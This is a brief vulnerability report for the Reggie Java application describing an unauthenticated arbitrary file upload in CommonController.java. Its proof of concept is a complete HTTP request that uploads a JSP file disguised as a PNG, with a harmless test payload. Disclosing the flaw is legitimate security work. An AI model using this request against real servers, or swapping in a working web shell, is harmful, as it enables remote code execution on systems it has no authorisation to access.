Reggie has any file uploaded

[LvZCh]

Vulnerability details:
The upload method in src/main/java/com/itheima/reggie/controller/CommonController.java only performs front-end validation on file suffixes, allowing attackers to directly upload any file

No login required, send data packet directly:

POST /common/upload HTTP/1.1
Host: 192.168.0.102:8080
Content-Length: 205
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryceM71QQd51Bajo9H
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryceM71QQd51Bajo9H
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/png

<% out.println("test"); %>
------WebKitFormBoundaryceM71QQd51Bajo9H--